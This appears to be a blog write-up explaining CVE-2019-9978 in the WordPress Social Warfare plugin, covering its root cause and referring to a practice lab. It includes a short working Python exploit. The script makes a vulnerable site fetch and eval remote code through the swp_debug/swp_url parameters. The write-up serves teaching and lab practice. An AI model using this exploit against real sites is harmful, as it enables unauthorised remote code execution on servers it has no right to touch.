# CVE Explained: CVE-2019-9978

Sources

* [Blog](https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-wordpress-social-warfare-plugin-cve-2019-9978/)
* [Exploit](https://github.com/Anekant-Singhai/Exploits/tree/master/CVE-2019-9978)

Where to practice:

Offsec-Pg-Play labs : SoSimple machine

## Vulnerability Itself

Threatening to versions 3.5.0-3.5.2 of Social Warfare. These were a set of vulnerability that were found by the researchers on the plugin which lead to:

#### Server Side:

Remote-Code-Execution

#### Client Side:

Cross-Site-Scripting

### The Root Cause:

Look at the code for the plugin to migrate:

<figure><img src="https://198480966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnprEgZpMZTRw7KuX7Jsi%2Fuploads%2FZD2c5u5KuUGT70h7A9Q7%2Fimage.png?alt=media&#x26;token=7fa21c30-34da-434f-a8af-1a667126a9a2" alt=""><figcaption></figcaption></figure>

Now this code was located at the localtion:

`social-warfare\lib\utilities\SWP_ Database_Migration.php`

Seeming to an ordinary code , it poses a threat in itself as the developer used the eval function without making sure that it was operating on sanitized content.

#### The flow of code

<figure><img src="https://198480966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnprEgZpMZTRw7KuX7Jsi%2Fuploads%2FagVStbT50RF8UvbKFlrn%2FPasted%20image%2020231228003320.png?alt=media&#x26;token=9d7846f9-94a3-4b27-a77c-994d2ad562b1" alt=""><figcaption></figcaption></figure>

The code gets the file contents from the *swp\_debug* parameter and puts into the options array and then that array removs the pre tags and thus passed into the eval function. Now no sanitization is here included , so an attacker could put anything between the pre tags inside the document on the parameter and upload it and get RCE.

#### Developing exploit for it

While there are many exploits for it one could easily leverage and get RCE  on the server with such simple code:

Get the necessary data form the user and iimport the requests library to deal with http requests.

```python
import requests

payload_url = input("url for malicious file: ")
url = input("The host url: ")
```

Then we need to send the url with appending the endpoint:

`wp-admin/admin-post.php?swp_debug=load_options&swp_url=`

With our malicious url at the end and send the request.

```python
final_url = url+ "wp-admin/admin-post.php?swp_debug=load_options&swp_url=" + payload_url
response = requests.get(final_url)
```

Now we need to look at the response and print it if the response code is 500 as it says our payload is succedded

```python
if response.status_code == 500:
    print("success!!")
    print(f"The contents: \n {response.text} \n")
```

Note:

If the application uses cookies or ther auth mehthods add those headers in the code as well asif the app runs on "https" , add the user-agent header.

### Stored XSS:

This is due to the further code below the RCE code we saw above:

<figure><img src="https://198480966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnprEgZpMZTRw7KuX7Jsi%2Fuploads%2F2e65GuimSfBtc3gMDCj9%2Fimage.png?alt=media&#x26;token=a8335b72-e300-440f-8b99-6c4deab3609d" alt=""><figcaption></figcaption></figure>

The root cause of each of these two vulnerabilities is the same: the misuse of the is\_admin() function in WordPress. Is\_admin only checks if the requested page is part of admin interface and won’t prevent any unauthorized visit.